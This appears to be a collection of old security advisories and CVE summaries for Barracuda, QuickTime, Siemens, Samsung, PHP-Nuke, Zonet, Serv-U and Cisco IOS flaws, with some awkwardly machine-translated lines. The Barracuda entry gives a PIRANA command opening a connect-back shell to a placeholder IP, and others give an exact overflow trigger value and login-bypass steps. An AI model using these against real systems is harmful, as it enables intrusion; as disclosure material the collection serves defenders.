http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . Topic: Barracuda LHA archiver security bug leads to remote compromise Announced: 2006-04-03 Product: Barracuda Spam Firewall Vendor: http://www.barracudanetworks.com/ Impact: Remote shell access Affected product: Barracuda with firmware < 3.3.03.022 AND spamdef < 3.0.10045 Credits: Jean-S\xe9bastien Guay-Leroux CVE ID: CVE-2004-0234 I. BACKGROUND The Barracuda Spam Firewall is an integrated hardware and software solution for complete protection of your email server. It provides a powerful, easy to use, and affordable solution to eliminating spam and virus from your organization by providing the following protection: * Anti-spam * Anti-virus * Anti-spoofing * Anti-phishing * Anti-spyware (Attachments) * Denial of Service II. DESCRIPTION When building a special LHA archive with long filenames in it, it is possible to overflow a buffer on the stack used by the program and seize control of the program. Since this component is used when scanning an incoming email, remote compromise is possible by sending a simple email with the specially crafted LHA archive attached to the Barracuda Spam Firewall. You do NOT need to have remote administration access (on port 8000) for successfull exploitation. For further informations about the details of the bugs, you can consult OSVDB #5753 and #5754 . III. IMPACT Gain shell access to the remote Barracuda Spam Firewall IV. PROOF OF CONCEPT Using the PIRANA framework, available at http://www.guay-leroux.com , it is possible to test the Barracuda Spam Firewall against the LHA vulnerability. By calling PIRANA the way it is described below, you will get a TCP connect back shell on IP address 1.2.3.4 and port 1234: perl pirana.pl -e 0 -h barracuda.vulnerable.com -a postmaster -s 0 -l 1.2.3.4 \ -p 1234 -z -c 1 -d 1 V. SOLUTION Barracuda Networks pushed an urgent critical patch in spamdef #3.0.10045, available March 24th 2006. They also published an official patch in firmware #3.3.03.022, available April 3rd 2006. It is recommended to update to firmware #3.3.03.022 . VI. CREDITS Ulf Harnhammar who found the original LHA flaw. Jean-S\xe9bastien Guay-Leroux who conducted further research on the bug and produced exploitation plugin for the PIRANA framework. VII. REFERENCES http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0234 VIII. HISTORY 2006-03-02 : Disclosure of vulnerability to Barracuda Networks 2006-03-02 : Acknowledgement of the problem 2006-03-24 : Problem fixed 2006-04-03 : Advisory disclosed to public

Integer overflow in Apple QuickTime (QuickTime.qts) before 6.5.1 allows attackers to execute arbitrary code via a large "number of entries" field in the sample-to-chunk table data for a .mov movie file, which leads to a heap-based buffer overflow. apple's QuickTime Exists in unspecified vulnerabilities.None. This issue can be triggered by a malformed .mov file and is reported to be exploitable to execute arbitrary code on Microsoft Windows platforms. This issue could also cause the player to crash on other platforms. Conflicting information has been released by the vendor that suggests that this issue will only result in a denial of service on Mac OS X. Apple QuickTime (QuickTime.qts) Heap Overflow Release Date: May 02, 2004 Date Reported: February 18, 2004 Severity: High (Code Execution) Vendor: Apple Systems Affected: Apple QuickTime 6.5 Apple iTunes 4.2.0.72 Description: The Apple QuickTime media player is used for playing, interacting with or viewing video, audio, VR or graphics files. Many popular web browsers, media players, and other applications use their libraries to play various QuickTime movie formats through their applications. The vulnerability allows a remote attacker to reliably overwrite heap memory with user-controlled data and execute arbitrary code within the SYSTEM context. This specific flaw exists within the QuickTime.qts file which many applications access QuickTime's functionality through. By specially crafting atoms within a movie file, a direct heap overwrite is triggered, and reliable code execution is then possible. Technical Details: The code in QuickTime.qts responsible for copying Sample-to-Chunk table entries from the 'stsc' atom data in a QuickTime-format movie into an array allocated on the heap. According to developer.apple.com, the format of the Sample-to-Chunk atom is as follows: Offset Type Description ------- ------- -------------------------------- 0000h DWORD atom size 0004h DWORD atom type tag ('stsc') 0008h BYTE version 0009h BYTE[3] flags 000Ch DWORD number of entries 0010h ... sample-to-chunk table data The heap block intended to hold the sample-to-chunk table data is allocated with a size equal to (number_of_entries + 2) * 16. By supplying the "number of entries" field with the value 0x0FFFFFFE or greater, an absolutely classic integer overflow results that causes an insufficiently-sized heap block to be allocated, resulting in an equally classic complete heap memory overwrite. It is difficult to express just how textbook this vulnerability scenario really is. Successful exploitation of the vulnerability is self-evident, and therefore no further discussion is warranted. It is our sincere hope that the vendor will make an earnest effort to increase the maturity of its security response capabilities, so that researchers will be encouraged to continue to work with them amicably on future security issues. Apple is doing a disservice to its customers by incorrectly labeling this vulnerability as a "crash bug" rather than stating correctly that attackers can compromise systems running the affected Apple software. References: QuickTime: QuickTime File Format http://developer.apple.com/documentation/QuickTime/QTFF/index.html Vendor Status: Apple has released a patch for this vulnerability. The patch is available via the Updates section of the affected applications. This vulnerability has been assigned the CVE identifier CAN-2004-0431. Credit: Karl Lynn Additional Research: Derek Soeder Greetings: Riley Hassell, Fuzen, Cubby, the ladies in the band MudBath, Zoe bird, Michelle L., and of course the entire staff at eEye. Copyright (c) 1998-2004 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please email alert@eEye.com for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback Please send suggestions, updates, and comments to: eEye Digital Security http://www.eEye.com info@eEye.com

GUI overlay vulnerability in the Java API in Siemens S55 cellular phones allows remote attackers to send unauthorized SMS messages by overlaying a confirmation message with a malicious message. Siemens S55 is a mobile phone.  Siemens S55 has a race condition error when validating SMS messages.  No detailed vulnerability details are provided at this time. Reportedly the Siemens S55 is affected by an SMS confirmation message bypass vulnerability

Samsung SmartEther SS6215S switch, and possibly other Samsung switches, allows remote attackers and local users to gain administrative access by providing the admin username followed by a password that is the maximum allowed length, then pressing the enter key after the resulting error message. When accessing a Samsung SmartEther switch, via the telnet service or serial connection, authentication is required and the user is presented with a logon screen. It has been reported that it is possible to bypass this authentication procedure. An attacker may potentially exploit this condition to, for example, modify static MAC address mapping and perhaps enable man-in-the-middle style attacks. Other attacks are certainly possible. Samsung SmartEther SS6215S is a network switch. When connecting to a Samsung SmartEther switch, enter the user name \"admin\", enter the longest combination of characters in the password field (unable to enter) as the password data, and then press Enter, although it will prompt that the password does not match, but into the system

SQL injection vulnerability in modules.php in PHP-Nuke Video Gallery Module 0.1 Beta 5 allows remote attackers to execute arbitrary SQL code via the (1) clipid or (2) catid parameters in a viewclip, viewcat, or voteclip action. This is due to a failure of the application to properly sanitize user-supplied input prior to using it in an SQL query. These issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation

The NAT implementation in Zonet ZSR1104WE Wireless Router Runtime Code Version 2.41 converts IP addresses of inbound connections to the IP address of the router, which allows remote attackers to bypass intended security restrictions. A vulnerability has been reported to affect the implementation of NAT for the ZSR1104WE model Zonet Wireless Router. NAT for the wireless interface on the ZSR1104WE appliance is reported to modify IP data so that on the internal network, the origin address of forwarded traffic is that of the affected appliance. This issue may render the implementation of access controls on an internal host impossible. Zonet Wireless Router is a wireless access device. No detailed vulnerability details are currently available

Buffer overflow in Serv-U FTP server before 5.0.0.6 allows remote attackers to cause a denial of service (crash) via a long -l parameter, which triggers an out-of-bounds read. Reportedly Serv-U is affected by a remote buffer overflow vulnerability in the list parameter. This issue is due to a failure of the application to properly validate buffer boundaries during processing of user input. Successful exploitation would immediately produce a denial of service condition in the affected process. This issue may also be leveraged to execute code on the affected system with the privileges of the user that invoked the vulnerable application, although this has not been confirmed

Cisco Internetwork Operating System (IOS) 12.0S through 12.3T attempts to process SNMP solicited operations on improper ports (UDP 162 and a randomly chosen UDP port), which allows remote attackers to cause a denial of service (device reload and memory corruption). Sustained exploitation of this vulnerability could lead to a denial of service condition affect a large segment of the Internet community. / Router disrupts service operation (DoS) It may be in a state. This is caused by a design error that causes memory corruption in the affected system under certain circumstances. The denial of service is due to a corruption of memory in the affected device. As a result, there may be other consequences, such as code execution. This has not been confirmed by Cisco. Cisco IOS is a very widely deployed network operating system. Many Cisco devices run IOS. Specially constructed malformed SNMPv1 and SNMPv2 can trigger this vulnerability, and more dangerously any SNMPv3 "talk" operation detected on such ports can cause memory corruption that overloads the device, resulting in a denial of service. This vulnerability is distinct from the vulnerability described in US-CERT Technical Alert TA04-111A issued earlier today. Cisco has published an advisory about this distinct SNMP issue at the following location: <http://www.cisco.com/warp/public/707/cisco-sa-20040420-snmp.shtml> I. Description The Simple Network Management Protocol (SNMP) is a widely deployed protocol that is commonly used to monitor and manage network devices. There are several types of SNMP messages that are used to request information or configuration changes, respond to requests, enumerate SNMP objects, and send both solicited and unsolicited alerts. These messages use UDP to communicate network information between SNMP agents and managers. This may potentially cause the device to reload. Typically, ports 161/udp and 162/udp are used during SNMP operations to communicate. While SNMPv1 and SNMPv2c formatted messages can trigger this vulnerability, the greatest risk is exposed when any SNMPv3 solicited operation is sent to a vulnerable port. Cisco notes in their advisory: "SNMPv1 and SNMPv2c solicited operations to the vulnerable ports will perform an authentication check against the SNMP community string, which may be used to mitigate attacks. Through best practices of hard to guess community strings and community string ACLs, this vulnerability may be mitigated for both SNMPv1 and SNMPv2c. However, any SNMPv3 solicited operation to the vulnerable ports will reset the device. If configured for SNMP, all affected versions will process SNMP version 1, 2c and 3 operations." Cisco is tracking this issue as CSCed68575. US-CERT is tracking this issue as VU#162451. II. Impact A remote, unauthenticated attacker could cause the vulnerable device to reload. III. System managers are encouraged to upgrade to one of the non-vulnerable releases. For additional information regarding availability of repaired releases, please refer to the "Software Versions and Fixes" section of the Cisco Security Advisory. <http://www.cisco.com/warp/public/707/cisco-sa-20040420-snmp.shtml> Workarounds Cisco recommends a number of workarounds, including disabling SNMP processing on affected devices. For a complete list of workarounds, see the Cisco Security Advisory. Appendix A. Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to US-CERT, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Cisco has published their advisory at the following location: <http://www.cisco.com/warp/public/707/cisco-sa-20040420-snmp.shtml> _________________________________________________________________ US-CERT thanks Cisco Systems for notifying us about this problem. _________________________________________________________________ Feedback can be directed to the authors: Jeff Havrilla, Shawn Hernan, Damon Morda The latest version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA04-111B.html> _________________________________________________________________ Copyright 2004 Carnegie Mellon University. Terms of use: <http://www.us-cert.gov/legal.html> Revision History April 20, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAhdSYXlvNRxAkFWARAqPXAJ98/hPua542rVKLAgmOVFRJEbLgHACgsBYS vP+68misX1RV+A2fWyU2NQA= =jID6 -----END PGP SIGNATURE-----